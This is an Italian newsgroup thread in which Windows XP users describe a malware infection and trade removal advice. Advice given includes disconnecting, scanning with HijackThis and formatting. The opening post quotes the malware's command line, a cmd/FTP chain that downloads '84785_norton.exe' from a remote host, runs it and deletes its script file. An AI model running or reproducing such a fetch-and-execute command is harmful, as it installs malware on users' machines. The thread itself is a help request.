Newsgroup: it.comp.os.win.xp
Titolo: ---------Virus   84785_Norton.exe--------

mentre sono connesso ad internet  si apre la finestra "esegui" e
compare  il seguente messaggio:
cmd /c echo OPEN  (numero che ometto di riportare) >x&echo GET
84785_norton.exe>>x&echo QUIT>>x&FTP -n -s:x&84785_norton.exe&del
x&exit
poi si apre la finestra dos?
e compaiono altre diavolerie ....!!!
Che cacchio e'  sta cosa ???????
Sul Computer ho trovato il file 84785_norton.exe
se provo a lanciarlo mi dice win applicazione non valida
ciao
Marco

 x&exit
stacca il pc dalla rete e ripassalo con antivirus, antispyware, hijackthis,
gmer, candeggina...



He! He! mi sa che hai proprio ragione ma visto che la cosa ha superato
ogni limite credo proprio che sia utile che la racconti.
Beninteso il PC funziona discretamente ma e' stanco ed affaticato
evidentemente ha tanto di quella roba addosso che credo non riusciro'
mai a toglierlgliela del tutto.
A parte questo file norton che ho appena cancellato,  ci sono delle
stranezze che vi racconto per le quali credo hanno dell'incredibile
altro che elettronica, fisica e magia qua andiamo oltre....
1-Se vado ad attivare il Firewall di windows mi dice che bisogna
avviare il servizio e cliccando si,  mi dice che non e' possibile. 
Il motivo non me lo dice evidentemente non ritiene che siano fatti
miei.
2-Se vado a reinstallare windows arriva ad un punto e mi dice che non
trova dei file nella directory i386( naturalmente mi imbroglia perche'
i file ci sono eccome) e mi chiede se voglio continuare senza
installare il file o annullare l'installazione ? in entrambi i casi
lui continua imperterrito ad installare il so qualunque sia la mia
risposta.
3-Ho provato a collegarmi e trovare questo irraggiungibile  hijackthis
in rete ma niente da fare se faccio ricerca - hijackthis - lui il
computer o chi per lui mi disattiva il browser in uso insomma questa
parola non la vuole sentire proprio nominare.
Ho provato a scaricarlo dalla rete dopo aver sudato sette camice per
sapere dove fosse, ma mi si e azzerato immediatamente tutto.
Ho provato a usare una vecchia copia di - hijackthis - ma nulla da
fare lo lancia e poi lo fa fuori immediatamente !??????
Un Killeraggio da paura ..
3-ci sono delle utility che non trovano pi? l'HD come se fossero
spariti.
4-Dopo un riavvio  si aggiorna le icone due tre volte come se facesse
una disconnessione e si riaggiornasse, evidentemente si carica
qualcosa ma cosa !?.
5-qualche giorno fa avevo lanciato il task manager e l'ho lasciato in
funzione per una decina di minuti quando sono ritornato ho rivisto la
schermata e di una trentina di file iniziali ne erano rimasti due o
tre, altro che Alien !!!
6-Per non parlare del messaggio memoria virtuale insufficiente  il 
sistema sta aumentando ...ecc. ecc.
7-Una serie di messaggio strani tra gli eventi del sistema tra cui 
: Tipo evento:	Errore
.....
Resolve Partial Assembly non riuscito per Microsoft.VC80.CRT.
Riferimento al messaggio di errore: L'assembly a cui si fa riferimento
non ? installato nel computer.
---------------------
oppure 
------------------------
Generate Activation Context non riuscito per
C:\WINDOWS\system32\SanCpl.cpl. Riferimento al messaggio di errore:
Operazione completata.
------------------------------
Non voglio tediarvi oltre, la tentazione di buttare tutto c'e' e credo
che se non fosse per i dati e diverso software da reinstallare lo
avrei gi? fatto'.
Adesso provo con qualche antivirus ma speriamo che trovi qualcosa.
Ciao
Emanuel


Vista la situazione salva i dati da qualche parte (ma solo quelli)
e formatta.   

Usare Google no, eh? Questa domanda ? gi? stata fatta...
Si uso Google pero' non ho capito cosa centra nel senso non ho capito
il nesso, e visto che su questo NG ci sono tanti esperti sono proprio
curioso di sapere come un virus o maledizione esso sia fa ad impedirmi
di fare una ricerca su internet e trovare HIJackThis  e mi impedisce
di sbloccare il file zip che lo contiene e mi impedisce di usarlo !?
C'e' un modo di sapere quale programma in memoria mi disattiva
HIJackThis  dopo averlo lanciato !? e' una cosa proprio  incredibile
!?
ciao
Manuel

 Usare Google no, eh? Questa domanda è giò stata fatta...
scusa.. .saro' addormentato io... ma oggi ho avuto lo stesso sintomo,
non stavo neanche seguendo questo NG, ho cercato su google, e l'unica
cosa che ho trovato in italiano è il thread in questo forum in cui tu
dici che se ne è parlato alla nausea. Per il resto ho trovato altra roba
russa, cinese, che non conosco.
Mi diresti per cortesia quale chiave devo usare su google?
per ora ho provato con "84785_norton.exe" "cmd /c echo OPEN", ma
chiaramente ho sbagliato, visto che dici che se ne è parlato alla
nausea.
almeno il nome del virus..
grazie
Alb
-- 
mailto: 
alber...@yahoo.it
 - ICQ: 35062672
http://alb.hey.to
http://web.tiscali.it/albertobaldan/pgp/albald-bigfoot-com.asc